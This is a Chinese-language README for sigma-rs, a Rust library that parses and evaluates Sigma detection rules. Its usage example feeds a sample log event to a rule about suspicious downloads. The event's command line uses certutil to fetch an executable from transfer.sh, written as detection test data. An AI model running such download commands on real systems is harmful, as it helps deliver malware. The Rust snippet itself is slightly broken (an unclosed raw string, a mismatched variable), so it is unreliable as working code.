sigma-rs

Sigma 规则的 Rust 实现和解析器。用于构建自己的检测管道。

特性

• 支持复杂的条件，如 (not test*) 和 ((1 of test1) or (all of test))
• 正则表达式构建缓存

用法

let rule = r#"title: Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE#;
let json = r#"{
    "Image": "C:\\Windows\\system32\\certutil.exe",
    "ParentImage": "C:\\WINDOWS\\system32\\cmd.exe",
    "ProcessId": "10952",
    "utc_time": "2023-03-20 17:31:23",
    "ServerScore": "0",
    "CommandLine": "certutil  -urlcache \"-split\" \"-f\" \"http://transfer.sh/artifact.exe test.exe\"",
    "ParentCommandLine": "\"C:\\WINDOWS\\system32\\cmd.exe\"",
    "OriginalFile": "CertUtil.exe.mui",
    "log_type": "ProcessCreate"
  }"#
println!("{}", evaluate_sigma(parse_sigma(rule.to_string()), &source));

参考

• sigma-go
• chainsaw